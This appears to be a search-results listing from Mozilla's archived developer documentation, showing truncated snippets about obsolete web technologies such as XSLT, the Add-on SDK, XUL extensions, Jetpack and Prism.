Web, XSLT Extensible Stylesheet Language Transformations (XSLT) is an XML-based language used, in conjunction with specialized processing software, for the transformation of XML documents. 2 Common XSLT Errors XSLT Your server needs to send both the source and the stylesheet with a XML mime type, text/xml or application/xml. To find out the current type, load the file in Mozilla and look at the page info. Or use a download tool, those usually tell the mime type. 3 Index Index, Reference, XSLT Found 54 pages: 4 ...
...r(). 7 Basic Example XSLT The basic example will load an XML file and apply a XSL transformation on it. These are the same files used in the Generating HTML example in the XSLT in Netscape Gecko article. The XML file describes an article and the XSL file formats the information for display. 8 Interface List NeedsContent, Reference See XSLTProcessor in the
Web API documentation section. 9 Introduction Gecko, Intro, JavaScript, XSLT With modern browsers supporting XSLT, developers can now use JavaScript to access the power that XSLT provides. JavaScript can enable a
web application to load XML data, process it via XSLT into a presentable form and then add it into an existing document. Since the XML data loaded only contains the raw ...
Navigator.mozNotification - Archive of obsolete content
al URL. notification createNotification( in DOMString title, in DOMString description, in DOMString iconURLOptional ); Parameters title The notification title. description The text to display in the notification. iconURL Optional A URL identifying the image to display in the notification. Return value A new notification object. Permissions When using notifications in an open
web app, be sure to add the desktop-notification permission in your manifest file: "permissions": { "desktop-notification": {} } Usage notes In Firefox 22+, the instantiation of a new notification should be done with the Notification object by calling new Notification(title, options). Nick Desaulniers has written a Notification shim to cover both newer and older implementations. ...
API - Archive of obsolete content
Archived documentation about obsolete
web standards APIs. NavigatorFeatures that used to hang off the Navigator interface, but have since been removed. ...
Builder - Archive of obsolete content
The Add-on Builder tool was retired on April 1, 2014. The Add-on Builder was a
web-based development environment that allowed developers to create add-ons using the SDK APIs, but without needing to use the jpm command line tool. It was retired on April 1, 2014, and the "builder.addons.mozilla.org" domain now redirects to this page. ...
Content Processes - Archive of obsolete content
g one or more named options. Among other things, this allows us to specify one or more content scripts to be loaded. When a content script is first loaded, the content worker automatically imports a messaging API that allows it to emit messages over a pipe. On the add-on side, this pipe is exposed via the the port property on the worker. In addition to the port property, workers also support the
web worker API, which allows scripts to send messages to each other using the postMessage function. This function uses the same pipe internally, and causes a 'message' event to be emitted on the other side. As explained earlier, Firefox doesn't yet use separate processes for tabs or add-ons, so instead, each content script is loaded in a sandbox. Sandboxes were explained this article. Accessing the...
Modules - Archive of obsolete content
. Compartments are very useful from a security point of view: each compartment has a set of privileges that determines what a script running in that compartment can and cannot do. Compartments with chrome privileges have access to the Components object, giving them full access to the host platform. In contrast, compartments with content privileges can only use those features available to ordinary
websites. The Sandbox constructor takes a URL parameter, which is used to determine the set of privileges for the compartment in which the sandbox will be created. Passing an XUL URL will result in a compartment with chrome privileges (note, however, that if you ever actually do this in any of your code, Gabor will be forced to hunt you down and kill you). Otherwise, the compartment will have conten...
Module structure of the SDK - Archive of obsolete content
a piece of reusable JavaScript: it exports certain objects which are thus made available to dependent code. CommonJS defines: an object called exports which contains all the objects which a CommonJS module wants to make available to other modules a function called require which a module can use to import the exports object of another module. Except for scripts that interact directly with
web content, all the JavaScript code you'll write or use when developing add-ons using the SDK is part of a CommonJS module, including: SDK modules: the JavaScript modules which the SDK provides, such as panel and page-mod. Local modules: each of the JavaScript files under your add-on's "lib" directory. External modules: reusable modules developed and maintained outside the SDK, but usable by SD...
SDK and XUL Comparison - Archive of obsolete content
-compatible with the new multiple process architecture (codenamed Electrolysis) planned for Firefox. We also expect to support both desktop and mobile Firefox using a single edition of the SDK: so you'll be able to write one extension and have it work on both products. Security If they're not carefully designed, Firefox add-ons can open the browser to attack by malicious
web pages. Although it's possible to write insecure add-ons using the SDK, it's not as easy, and the damage that a compromised add-on can do is usually more limited. Restartlessness Add-ons built with the SDK can be installed without having to restart Firefox. Although you can write traditional add-ons that are restartless, you can't use XUL overlays in them, so most tradit...
Working with Events - Archive of obsolete content
s that might be of interest to add-on code, such as browser windows opening, pages loading, network requests completing, and mouse clicks. By registering a listener function to an event emitter an add-on can receive notifications of these events. We talk about content scripts in more detail in the Working with Content Scripts guide. Additionally, if you're using content scripts to interact with
web content, you can define your own events and use them to communicate between the main add-on code and the content scripts. In this case one end of the conversation emits the events, and the other end listens to them. So there are two main ways you will interact with the EventEmitter framework: listening to built-in events emitted by objects in the SDK, such as tabs opening, pages loading, m...
Guides - Archive of obsolete content
and about the helper functions provided by the SDK to simplify this. Private Properties Learn how private properties can be implemented in JavaScript using prefixes, closures, and WeakMaps, and how the SDK supports private properties by using namespaces (which are a generalization of WeakMaps). Content Processes The SDK was designed to work in an environment where the code to manipulate
web content runs in a different process from the main add-on code. This article highlights the main features of that design. Testing the Add-on SDK Learn how to run the Add-on SDK test suites. SDK infrastructure Module structure of the SDK The SDK, and add-ons built using it, are of composed from reusable JavaScript modules. This explains what these modules are, how to load modules, and ...
page-mod - Archive of obsolete content
Usage To use page-mod, you specify: one or more scripts to attach. The SDK calls these scripts "content scripts". a pattern that a page's URL must match, in order for the script(s) to be attached to that page. ...
page-worker - Archive of obsolete content
age({ contentScript: getFirstParagraph, contentURL: "http://en.wikipedia.org/wiki/Chalk" }); pageWorker.port.on("loaded", function() { pageWorker.contentURL = "http://en.wikipedia.org/wiki/Cheese" }); Scripting page content To access the page's DOM you need to attach a script to it. In the SDK these scripts are called "content scripts" because they're explicitly used for interacting with
web content. You can specify one or more content scripts to load into the page using the contentScript or contentScriptFile options to the Page() constructor. With contentScript you pass the script as a string, as in the examples above. With contentScriptFile you pass a URL which points to a script saved under your add-on's data directory. You construct the URL using the data.url() method of the sel...
request - Archive of obsolete content
request can be executed by calling its get() method, a POST request by calling its post() method, and so on. When the server completes the request, the Request object emits a "complete" event. Registered event listeners are passed a Response object. Each Request object is designed to be used once. Attempts to reuse them will throw an error. Since the request is not being made by any particular
website, requests made here are not subject to the same-domain restriction that requests made in
web pages are subject to. With the exception of response, all of a Request object's properties correspond with the options in the constructor. Each can be set by simply performing an assignment. However, keep in mind that the same validation rules that apply to options in the constructor will apply durin...
selection - Archive of obsolete content
Usage Registering for Selection Notifications To be notified when the user makes a selection, register a listener for the "select" event. Each listener will be called after a selection is made. function myListener() { console.log("A selection has been made."); } var selection = require("sdk/selection"); selection.on('select', myListener); // You can remove listeners too. selection.removeListener('select', myListener); Iterating Over Discontiguous Selections Discontiguous selections can be accessed by iterating over the selection module itself. Each iteration yields a Selection object from which text, html, and isContiguous properties can be accessed. ...
tabs - Archive of obsolete content
In particular, your code might not work with multiprocess Firefox. Globals Functions open(options) Opens a new tab. The new tab will open in the active window or in a new window, depending on the inNewWindow option. Example var tabs = require("sdk/tabs"); // Open a new tab ...
chrome - Archive of obsolete content
You should avoid using the API if at all possible. We intend to deprecate it in future releases. If you use this API you can expect your add-on to get an extra security review by addons.mozilla.org. This module should not be confused with the "chrome" global variable that
WebExtensions can use to access APIs. The chrome module gives an Add-on SDK add-on access to the Components object, which in turn gives it access to a large set of privileged low-level Firefox APIs. chrome is a built-in pseudo module of the toolkit loader. See the chrome authority tutorial for more details. You can see an example of using this API in the XUL Migration Guide. ...
content/content - Archive of obsolete content
Deprecated in Firefox 32. Re-exports three objects from three other modules: Loader, Worker, and Symbiont. These objects are used in the internal implementations of SDK modules which use content scripts to interact with
web content, such as the panel or page-mod modules. ...
content/symbiont - Archive of obsolete content
Usage A Symbiont loads the specified contentURL and content scripts into a frame, and sets up an asynchronous channel between the content scripts and the add-on code, enabling them to exchange messages using the port or postMessage APIs. You map optionally pass a frame into the Symbiont's constructor: if you don't, then a new hidden frame will be created to host the content. This trait is composed from the Loader and Worker traits. It inherits functions to load and configure content scripts from the Loader, and functions to exchange messages between content scripts and the main add-on code from the Worker. ...
remote/child - Archive of obsolete content
Enables an SDK module loaded into a child process to access
web content in the child process and communicate with modules in the main process. Usage The sdk/remote/parent module enables SDK code to load modules into child processes. The sdk/remote/child module is for these "child process modules". It provides two main things: access to
web content loaded into this child process port mechanisms to communicate with the main process Interacting with
web content To interact with
web content, the sdk/remote/child module provides a frames property that's a list of all content frames loaded into this child process. Each frame then has a content property that's the top-level DOM window for the frame, and addEventListener/removeEventListener functions that enable you to listen to DOM even...
ui/sidebar - Archive of obsolete content
ebar', url: require("sdk/self").data.url("sidebar.html") }); From Firefox 34, you can use "./sidebar.html" as an alias for self.data.url("sidebar.html"). So you can rewrite the above code like this: var sidebar = require("sdk/ui/sidebar").Sidebar({ id: 'my-sidebar', title: 'My sidebar', url: "./sidebar.html" }); You can include JavaScript and CSS from the HTML as you would with any
web page, for example using <script> and <link> tags containing a path relative to the HTML file itself. <!DOCTYPE HTML> <html> <head> <link href="stuff.css" type="text/css" rel="stylesheet"> </head> <body> <script type="text/javascript" src="stuff.js"></script> </body> </html> You can update the sidebar's content by setting the sidebar's url property. This will change the sidebar'...
ui/toolbar - Archive of obsolete content
Experimental Add a toolbar to the Firefox user interface. A toolbar is a horizontal strip of user interface real estate. Like a panel, a toolbar's content is specified using HTML. Unlike a panel, a toolbar: does not overlap with any
web content is persistent, remaining visible until the user chooses to close it is a fixed size, and appears in a fixed location Usage Creating and destroying toolbars You don't specify toolbar content directly: instead, you create other UI components and supply them to the Toolbar constructor. You can supply three sorts of UI components: action buttons toggle buttons frames This add-on builds part of the user interface for a music player using action buttons for the controls and a frame to display art and the currently playing song: var { Act...
window/utils - Archive of obsolete content
Parameters window : nsIDOMWindow Returns nsIDocShell getWindowLoadingContext(window) Returns the nsILoadContext. Parameters window : nsIDOMWindow Returns nsILoadContext open(uri, options...
package.json - Archive of obsolete content
in spaces. If this key is present, its value will be used as the add-on's em:name element in its install.rdf. harnessClassID Note: This is deprecated along with cfx; it's not available when using jpm. String in the GUID format. This is used as a classID of the "harness service" XPCOM component. Defaults to a random GUID generated by cfx. hasEmbedded
WebExtension New in jpm 1.2.0. Boolean value: true if the add-on contains an embedded
WebExtension. homepage The URL of the add-on's
website. This value will be used as the add-on's em:homepageURL element in its install.rdf. icon The path to an image file containing the icon for the add-on. Optional: you can have no icon field in p...
Add a Context Menu Item - Archive of obsolete content
You should see the new item appear: Click it, and the selection is logged to the console (or the shell, if you're running an instance of Firefox from the command line): info: elephantine lizard Details All this add-on does is to construct a context menu item. You don't need to add it: once you have constructed the item, it is automatically added in t...
Displaying annotations - Archive of obsolete content
Warning: this tutorial relies on the since-removed Widget API and no longer works with Firefox. The widget API is deprecated from Firefox 29 onwards. Please see the ui module for replacements. In particular, for a simple button, try the action button or toggle button APIs, and for a more complex widget try the toolbar or sidebar APIs. In this chapter we'll use a page-mod to locate elements of
web pages that have annotations associated with them, and a panel to display the annotations. Matcher page-mod Matcher Content Script The content script for the matcher page-mod is initialized with a list of all the annotations that the user has created. When a page is loaded the matcher searches the DOM for elements that match annotations. If it finds any it binds functions to that element's mou...
Overview - Archive of obsolete content
s of pages that the user has opened. The selector enables the user to choose an element to annotate. It identifies page elements which are eligible for annotation, highlights them on mouseover, and tells the main add-on code when the user clicks a highlighted element. The matcher is responsible for finding annotated elements: it is initialized with the list of annotations and searches
web pages for the elements they are associated with. It highlights any annotated elements that are found. When the user moves the mouse over an annotated element the matcher tells the main add-on code, which displays the annotation panel. Working with Data We'll use the simple-storage module to store annotations. Because we are recording potentially sensitive information, we want to prevent the...
Annotator - Archive of obsolete content
The widget API is deprecated from Firefox 29 onwards. Please see the ui module for replacements. In particular, for a simple button, try the action button or toggle button APIs, and for a more complex widget try the toolbar or sidebar APIs. In this tutorial we'll build an add-on that uses many of the SDK's high-level APIs. The add-on is an annotator: it enables the user to select elements of
web pages and enter notes (annotations) associated with them. The annotator stores the notes. Whenever the user loads a page containing annotated elements these elements are highlighted, and if the user moves the mouse over an annotated element its annotation is displayed. Next we'll give a quick overview of the annotator's design, then go through the implementation, step by step. If you want to re...
Listen for Page Load - Archive of obsolete content
ou'll need to have learned the basics of jpm. You can get notifications about new pages loading using the tabs module. The following add-on listens to the tab's built-in ready event and just logs the URL of each tab as the user loads it: require("sdk/tabs").on("ready", logURL); function logURL(tab) { console.log(tab.url); } You will find this console output in the Browser Console, not the
Web Console. You don't get direct access to any content hosted in the tab. To access tab content you need to attach a script to the tab using tab.attach(). This add-on attaches a script to all open tabs. The script adds a red border to the tab's document: require("sdk/tabs").on("ready", runScript); function runScript(tab) { tab.attach({ contentScript: "if (document.body) document.body.styl...
Developing for Firefox Mobile - Archive of obsolete content
To follow this tutorial you'll need to have learned the basics of jpm. Firefox for Android implements its UI using native Android widgets instead of XUL. With the add-on SDK you can develop add-ons that run on this new version of Firefox Mobile as well as on the desktop version of Firefox. You can use the same code to target both desktop Firefox and Firefox Mobile, and use jpm-mobile instead of the normal jpm. Right now not all modules are fully functional, but we're working on adding support for more modules. The tables at the end of this guide list the modules that are currently supported on Firefox Mobile. ...
Unit Testing - Archive of obsolete content
llowed the tutorial on writing reusable modules. If you're migrating test code from cfx to jpm, see the guide to migrating from cfx, in particular the section on loading modules from test code. The SDK provides a framework to help create and run unit tests for your code. To demonstrate how it works we'll write some unit tests for a simple Base64 encoding module. A Simple Base64 Module In a
web page, you can perform Base64 encoding and decoding using the btoa() and atob() functions. Unfortunately these functions are attached to the window object: since this object is not available in your main add-on code, atob() and btoa() aren't available either. So we'll create a base64 module to expose these functions from the platform (see Creating Reusable Modules). To begin with, create a new di...
Dialogs and Prompts - Archive of obsolete content
}; return true; } See also Passing parameter to a dialog and getting return values from it. Displaying the standard "Open File"/"Save File"/"Select Folder" dialogs nsIFilePicker Prompts and the prompt service Now that you understand dialogs, let's examine prompts. Prompts differ from dialogs in that they don't require custom XUL. Because of this, however, they are less customizable. Most
web developers are familiar with the alert() function: This is a prime example of a prompt. nsIPromptService is an XPCOM interface available to C++ and chrome JavaScript code (not to
web pages' JS), that provides methods for displaying a few simple types of dialogs. Refer to the interface documentation for documentation and sample code. For file/folder picker dialogs, see nsIFilePicker. Origina...
On page load - Archive of obsolete content
t to have custom code executed each time a new page is loaded in browser/mail. If you need finer control over custom code execution--for example, as documents are loading or when tabs are switched--see Progress Listeners. Progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events. Progress listeners implement the nsI
WebProgressListener interface. Creating an overlay First, you need to create an overlay to one (or more, depending on which applications you target) of the following XUL documents: Application URI to overlay Firefox chrome://browser/content/browser.xul Thunderbird chrome://messenger/content/messenger.xul Navigator from SeaMonkey chrome://navigator/co...
Post data to window - Archive of obsolete content
g the server response. Need more elaborate examples, examples of displaying the response in a new tab, in background tabs, and a link to using XMLHttpRequest for POST requests. Preprocessing POST data The aPostData argument of the (global) loadURI(), openDialog(), and (tab)browser.loadURIWithFlags() methods expects the POST data in the form of an nsIInputStream (because they eventually call nsI
WebNavigation.loadURI()) while POST data can be created using nsIMIMEInputStream. Most of the time, POST data starts as a data string in the form of "name1=data1&name2=data2&...", so you must convert it before passing the data to one of the methods. Here is an example: var dataString = "name1=data1&name2=data2"; // POST method requests must wrap the encoded text in a MIME // stream const Cc = Compo...
QuerySelector - Archive of obsolete content
n el.querySelector(selector); } function $$ (selector, el) { if (!el) {el = document;} return el.querySelectorAll(selector); // Note: the returned object is a NodeList. ...
View Source for XUL Applications - Archive of obsolete content
has loaded. Deprecated API This API is likely to go away in the future, and should no longer be used. The viewSource method will also accept the following arguments in place of the Object: aURL A string URL for the document to view the source of. aPageDescriptor (optional) A "descriptor" that allows the source to be retrieved from the network cache. This is usually gotten from the nsI
WebPageDescriptor interface via currentDescriptor. aDocument (optional) The content document that we're attempting to load the source from. aLineNumber (optional) The line number to focus on once the source has loaded. ...
Code snippets - Archive of obsolete content
Downloading Files Code to download files, images, and to monitor download progress Password Manager Code used to read and write passwords to/from the integrated password manager Bookmarks Code used to read and write bookmarks JavaScript Debugger Service Code used to interact with the JavaScript Debugger Service SVG General General information and utilities SVG ...
Common Pitfalls - Archive of obsolete content
nting a protocol handler's newURI method. In that case you may not be able to use the I/O service because that service calls the newURI method on the appropriate protocol handler, which may be your own handler. How to do security checks for URI loads Before loading a URI, one of two security checks needs to be performed: If the URI is a string that will be loaded via passing the string to nsI
WebNavigation::LoadURI, the one must call CheckLoadURIStrWithPrincipal and pass the principal that the URI originates from as the first argument and the URI string as the second argument. In all other cases, one should call CheckLoadURIWithPrincipal and pass the principal that the URI originates from as the first argument and an nsIURI object representing the URI as the second argument. If there is ...
Extension Packaging - Archive of obsolete content
Note: Starting in Gecko 2.0, XPI files are no longer unpacked when extensions are installed. Instead, the XPI itself is placed in the extensions directory, and files are loaded directly out of the package. Making an extension XPI An XPI (XPInstall) file is simply a ZIP file, containing the extension files, with the install.rdf file at the root of the ZIP. Users can download XPI files from a
website, or from a local file, and install by opening it, or dragging it into the Extension Manager window. The XPI file must contain only uncompressed files, or files compressed using the deflate algorithm. The MIME type recognized by Firefox for XPI files is application/x-xpinstall. Since most HTTP servers are not configured to return this MIME type for the .xpi extension by default, you will prob...
Extension Versioning, Update and Compatibility - Archive of obsolete content
e when the user gets an add-on update notification and should be used to give a quick overview of what new features have been added and any security issues that have been resolved. In order to do this you must add an updateInfoURL entry to the update manifest (see the example above). The page at this URL will be retrieved and displayed to the user. Since it is being displayed outside of a normal
webpage context it is heavily sanitized, which means there are few formatting options available and scripting and images aren't allowed. The information page retrieved must currently be totally valid XHTML, including being delivered with the MIME type application/xhtml+xml (Important: see Problems section) You may include %APP_LOCALE% in your updateInfoURL if you want to have locale information inc...
Adding windows and dialogs - Archive of obsolete content
of the main window will be added to the new one, which is rarely what you want. The window.open page has a detailed description of the features you can use and their values. The following features are very important and you should always keep them in mind: chrome. This can only be used from the chrome, not from regular HTML JavaScript. It indicates that a chrome document is being opened, not a
web page. This means that the document defines the whole window, and not only the inner content area. You should always include it when opening a XUL window or dialog. modal. Modal windows block their parent window until action is taken on them. An alert window is an example of this. Modal windows should be avoided when possible because they interrupt the user's browsing and can become annoying very...
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
might replace the JSON with attack code before it arrives at the user. Use Native JSON Since Firefox 3.5 you should use JSON. Really, just use it! Note: Do not use JSON parsers implemented in JavaScript. These implementations are less efficient and often also contain serious security vulnerabilities. Such implementations are meant to be used within a very different security context, namely a
website, where the origin of the data is usually known in all instances and where vulnerabilities would have a much smaller impact. What about JSONP? JSONP, which really is just another script tag containing generated, remotely retrieved code, is generally not secure. It might be possible to execute any retrieved JSONP code in an unprivileged Sandbox (which is complicated!), but if you have a choic...
Appendix D: Loading Scripts - Archive of obsolete content
pt tags are traditionally the primary means of loading scripts for extension developers. These tags are generally inserted into XUL overlay files or other XUL documents, after which they are automatically loaded into the context of the XUL window in question and executed immediately and synchronously. Advantages Familiarity: These tags are very similar to the HTML script tags familiar to most
web developers. Simplicity: The simple, declarative nature of these tags make them easy to find and understand at a glance. Speed: Script tags may or may not be loaded from pre-compiled bytecode in the fastload cache (Gecko 1.x) or startup cache (Gecko 2), which means they don't necessarily need to read as source and compiled with each restart. Flexibility: Script tags provide a means to specify t...
Getting Started with Firefox Extensions - Archive of obsolete content
d their development in the Plugins page. Firefox provides a very rich and flexible architecture that allows extension developers to add advanced features, customize the user's experience, and completely replace and remove parts of the browser. The Mozilla Add-ons repository (AMO) holds an extensive number of extensions with a wide variety of functions: content filtering (AdBlock Plus, NoScript),
web application interaction (Delicious Bookmarks, eBay Companion) and
web development (DOM Inspector, Firebug). These are very advanced and complex extensions, and you'll learn most of what it takes to create extensions like these. Extensions now exist in 3 different forms: Add-ons SDK extensions (also known as Jetpacks), bootstrapped extensions and traditional extensions. If you're only getting sta...
JavaScript Object Management - Archive of obsolete content
rs. This way we have immutable instances of our class. Well, only if consumers of the class play nice and don't change anything they shouldn't. Creating an instance and using it is simple enough: let user = new <ModuleNamespace>.User("Pete", "http://example.com/pete"); window.alert(user.name); This is something you can do with JS in general. You can use it in JSM, chrome, even on regular
web pages. Since entities tend to be used all throughout an application, we think that having those classes defined at the module level is the best approach. JSM is the best solution to handle objects that are window-independent. In the following section we'll discuss XPCOM, which is an older alternative to JSM and one of the foundations of Mozilla applications. You shouldn't skip that section becau...
Mozilla Documentation Roadmap - Archive of obsolete content
learn, and knowing how to find it is part of what we felt was necessary to teach. Let's look into the resources that have helped us the most. The Mozilla Developer Center This is the official and most extensive guide to everything related to Mozilla. MDC is where this tutorial is hosted, and where most of its links point to. It encompasses Firefox, other Mozilla products, Javascript, CSS, XUL,
web and extension development guidelines, accessibility, usability, best practices... The list goes on. It's incredibly comprehensive, and its underlying Wiki technology makes it easy to expand and evolve with the help of the community. Having said that, there are a few problems with it. First of all, the in-site search is not reliable, so we recommend using a search engine like Google, with queries...
Useful Mozilla Community Sites - Archive of obsolete content
s automatically for published add-ons. You just need to upload a new version of your extension, and once it's approved it will be pushed as an update to all your users. If you decide to host your own extension, you'll have to learn about the update system in order to push your own updates. Babelzilla Babelzilla is a worldwide community of localizers. Developers submit their extensions using the
Web Translation System (WTS) and volunteers around the world translate them to different languages. The community is very active, and you can be sure to get translations for the most commonly used languages within a few days of submitting your extension. You'll also receive feedback that you wouldn't notice by testing only in one language, which can reveal other bugs in your locale handling. There's...
XPCOM Objects - Archive of obsolete content
written in XML, Javascript and CSS. In fact, you can separate the two. We often mention other "Mozilla based applications". Well, those are applications that, simply put, take the underlying platform with perhaps a few changes and additions, and then write their own chrome layer. This lower layer is called XULRunner, and it is a very powerful platform, providing a very robust development base for
web-enabled, cross-platform applications. The fact that it allows to easily create OS-independent applications is a big selling point for XULRunner. XPCOM is the way in which the two layers (XULRunner and chrome) communicate. Most of the objects and functions in the lower layers are hidden from the chrome; those that need to be publicized are exposed through XPCOM components and interfaces. You can ...
Supporting search suggestions in search plugins - Archive of obsolete content
template="http://ff.search.yahoo.com/gossip?output=fxjson&command=fir"/> The results are used to construct the suggestion list box. See Creating OpenSearch plugins for Firefox to learn more about how to implement a search plugin. Implementing search suggestion support on the server The majority of the work in handling search suggestions is actually implemented on the server side. If you're a
web site designer, and want to support search suggestions, you need to implement support for returning the suggestions in JavaScript Object Notation (JSON) given a search term. When the browser wants to fetch possible matches for a search term, it then sends an HTTP GET request to the URL specified by the <Url> element. Your server should then decide upon the suggestions to offer using whatever mea...
Firefox addons developer guide - Archive of obsolete content
Rules: File and directory names: italic method and variable names: class name If you want to add a FIXME, add: FIXME: a message Notes: The original document is in Japanese and distributed via the xuldev.org
website. So there may be still some reference to the xuldev
website (we want to host source code on MDC, not on xuldev), and to Japanese things (like some specific locales, which have been translated to French since non-latin characters are not well supported). There are a few things that could be done to make this fit the site better, and for general cleaning up: Tables should use the "standard-table" CSS class so they're styled the same as those on the rest of MDC. There should be some introductory text on the table of contents page at https://developer.mozilla.org...
Creating a status bar extension - Archive of obsolete content
displayed to the user within the Firefox interface. These are: Property name Description em:name The extension's name. This name is displayed in the Extensions window. em:description A short, one-line description of the extension. This text is also displayed in the Extensions window. em:creator The author's name. homepageURL The URL of a
web site the user can visit to get information about the extension, or to look for updates. This is not a required field, but including it is a nice thing to do. Target application information It's also necessary to include information that identifies the application or applications in which your extension is designed to run. Although this sample extension only works in Firefox, it's entirely p...
Bypassing Security Restrictions and Signing Code - Archive of obsolete content
These Privilege Manager feature was not used much (aside from abuse), and its complexity made performance improvements difficult. Signed script segregation was removed in bug 726125, the enablePrivilege prompt was removed in bug 750859, and enablePrivilege itself was nerfed in bug 757046. The Privilege Manager has been deprecated in Firefox 12 and disabled in Firefox 17. ...
Using content preferences - Archive of obsolete content
Firefox 3 introduces the concept of content preferences. This permits code running within chrome (in other words: extensions and the browser itself, not
web sites) to locally save preferences on a per-site basis. This makes it possible to write an extension that lets the user customize the appearance of specific
web sites (setting the font size larger on sites that use obnoxiously small fonts, for instance). The content preferences service, implemented by nsIContentPrefService, offers functions for setting and retrieving preferences for specific sites or in the global preference space; global preferences are used whenever a site-specific preference isn't available. Site-specific content preferences are stored in the profile folder, in the database file "content-prefs.sqlite". Examp...
Libraries - Archive of obsolete content
Note: This page documents the Jetpack Prototype, which is no longer under active development. Read the experiment report for what we learned from it and the blog post announcing the first SDK release for what we're up to next! Namespace: jetpack.lib Jetpack provides libraries for interacting with
Web and other services not part of the Jetpack core. They live in the jetpack.lib namespace. The following libraries are available: Twitter ...
Menu - Archive of obsolete content
menu.add("Hey, a tab!"); }; (The reason this problem exists is because document.querySelectorAll() does not match anonymous content in XUL. Many parts of Firefox's interface are actually anonymous content. A future version of Jetpack will hopefully provide a better solution.) jetpack.menu.context.page The content context menu. This is the context menu that appears when right-clicking on a
Web page. A ContextMenuSet object. Context objects Some callbacks passed into the API are called with a context object, such as ContextMenuSet.beforeShow(). Context objects are objects that describe the context in which a context menu is shown. They have the following properties: Property Description node The DOM node on which the menu is shown. This is the...
slideBar - Archive of obsolete content
About Status: In Development Instantiation: jetpack.future.import('slideBar') Last Update: v0.6 Summary: slideBar is a reinvention of the old sidebar feature of browsers. They allow quick access to a wide range of both temporary and permanent information at the side of your browser window. When a slideBar feature is selected, its contents will be revealed from behind the current
web page. Creating a SlideBar and adding options To implement a new slideBar within your jetpack code, use the method jetpack.slideBar.append(options) ...
slideBar - Archive of obsolete content
xperiment report for what we learned from it and the blog post announcing the first SDK release for what we're up to next! slideBar is a reinvention of the old sidebar features of browsers. They allow quick access to a wide range of both temporary and permanent information at the side of your browser window. When a slideBar feature is selected its contents will be revealed from behind the current
webpage. It currently under development and lives in the future. jetpack.future.import("slideBar"); Methods append(iconurihtmlhtml/xmlurluriwidthintpersistboolautoReloadboolonClickfunctiononSelectfunctiononReadyfunction)This is a list of options to specify modifications to your slideBar instance. iconhref oficon to show in the slideBaruri htmlhtml content for the featurehtml/xml urlurl to load conte...
Jetpack - Archive of obsolete content
Jetpack Jetpack is a project to make it easy to build Firefox add-ons using common
web technologies. Get Started Visit the Getting Started tutorial Download the Add-on SDK (formerly called the Jetpack SDK) Documentation Check out the documentation, including tutorials, examples, guides, and API reference Join the Jetpack Community Follow Jetpack on the Mozilla Add-ons Blog Report a bug Check out the open bugs Discuss Jetpack Grab the source code Join us in #jetpack on irc.mozilla.org ...
Mozilla Crypto FAQ - Archive of obsolete content
Note that this document is for your information only and is not intended as legal advice. If you wish to develop and distribute cryptographic software, particularly for commercial sale or distribution, then you should consult an attorney with expertise in the particular laws and regulations that apply in your jurisdiction. ...
Plug-n-Hack Get Involved - Archive of obsolete content
other browsers and security tools. If you would like to add PnH support to a browser or tool, or even get involved in onward PnH development, then please get in touch and we will give you whatever assistance we can. To contribute or keep up to date with Plug-n-Hack changes please joion the Mozilla Plug-n-Hack Google Group. You can also talk to the Mozilla Security Team about this project on the #
websectools irc channel. Related links Plug-n-Hack Overview ...
Plug-n-Hack Phase1 - Archive of obsolete content
}, "commands":{ "prefix":"zap", "manifest":"http://localhost:8080/OTHER/mitm/other/service/" } } } The top level manifest includes optional links to a proxy PAC and a root CA certificate. It also optionally links to another manifest which describes the commands the browser can invoke. Serving manifests from outside of your tool You may want to serve manifests from a separate
webserver (e.g. for testing); Plug-n-hack requires tool and service manifests to be served from the same origin as the API endpoints but, for testing purposes, Ringleader (the Firefox addon implementation of the browser component) allows you to set a preference to relax or disable origin checks. The preference is ringleader.check.origin This can be set to 'off' to disble origin checks completely, or ...
Plug-n-Hack - Archive of obsolete content
Without integration between security tools and browsers, a user must often switch between the tool and their browser several times to perform a simple task, such as intercepting an HTTP(S) request. PnH allows security tools to declare the functionality that they support which is suitable for invoking directly from the browser. A...
Porting NSPR to Unix Platforms - Archive of obsolete content
rt We have some unit tests in <tt>mozilla/nsprpub/pr/tests</tt>. First a warning: some of the tests are broken. Further, we don't have documentation of our unit tests, so you often need to resort to read the source code to understand what they do. Some of them respond to the <tt>-h</tt> command line option and print a usage message. <strike>Henry Sobotka of the OS/2 Mozilla porting project has a
web page at http://www.axess.com/users/sobotka/n.../warpztjs.html with good documentation of the NSPR unit tests</strike>. Here are my favorite tests. For thread management and synchronization: <tt>cvar -d</tt> <tt>cvar2</tt> <tt>./join -d</tt> <tt>perf</tt> <tt>./switch -d</tt> <tt>intrupt -d</tt> For I/O: <tt>cltsrv -d</tt>, <tt>cltsrv -Gd</tt> <tt>socket</tt> <tt>testfile -d</tt> <tt>...
BlogPosts - Archive of obsolete content
Just Browsing: Mozilla Prism Update ThansCorner: Mozilla Prism -
Webrunner with Pazzaz Mozilla Prism - A Revolution in
Web Apps ThansCorner: Mozilla
WebRunner 0.7 Site Specific Browsers
WebRunner Using
WebRunner
WebRunner + Gears = Offline Desktop Reader
WebRunner 0.5
WebRunner 0.5 - Mac Support
WebRunner 0.5 - Linux Install
WebRunner, Google Reader, and Google Notebook Distraction Free GTD - 32+
web app files for online todo lists Mozilla
WebRunner: a one-window, tabless browser with no URL bar
WebRunner becomes Prism - A Mozilla Labs Project Mozilla Labs: Prism Alex Faaborg: Prism Mozilla Prism: Bringing
Web Apps to the Desktop Everyone should use Site Specific Browsers Mozilla Prism Portable (Spanish) Prism, l'avenir des applications
Web selon Mozilla (French) Mozilla Prism : bundl...
Build - Archive of obsolete content
tion article. To build prism, you must first build the xulrunner tree, and then build prism. Make sure you have the required build prerequisites. Grab the latest release source code from Mozilla's ftp site. Extract the source code, and you should have a directory called mozilla/. Change directory into mozilla/ and checkout the latest prism code : cd mozilla/ svn co http://svn.mozilla.org/projects/
webrunner/trunk prism Create a file called .mozconfig make sure it is in the mozilla/ directory. The contents of the file should look something like this : mk_add_options MOZ_CO_PROJECT=xulrunner mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/mozilla-obj ac_add_options --enable-application=xulrunner ac_add_options --disable-debug ac_add_options --enable-optimize ac_add_options --disable-tests ac_add_options -...
Installer - Archive of obsolete content
The installer should configure the OS to associate *.
webapp files with Prism. This means that when you double-click or launch a *.
webapp file, Prism is launched and automatically opens the
web application. Current Windows and Mac installs automatically associate *.
webapp with Prism. One interesting side effect is that after this change, you can select a link to a .
webapp file in a
Web Page and you get it run by Prism - in IE this runs anywhere, but this won't work in Firefox unless the
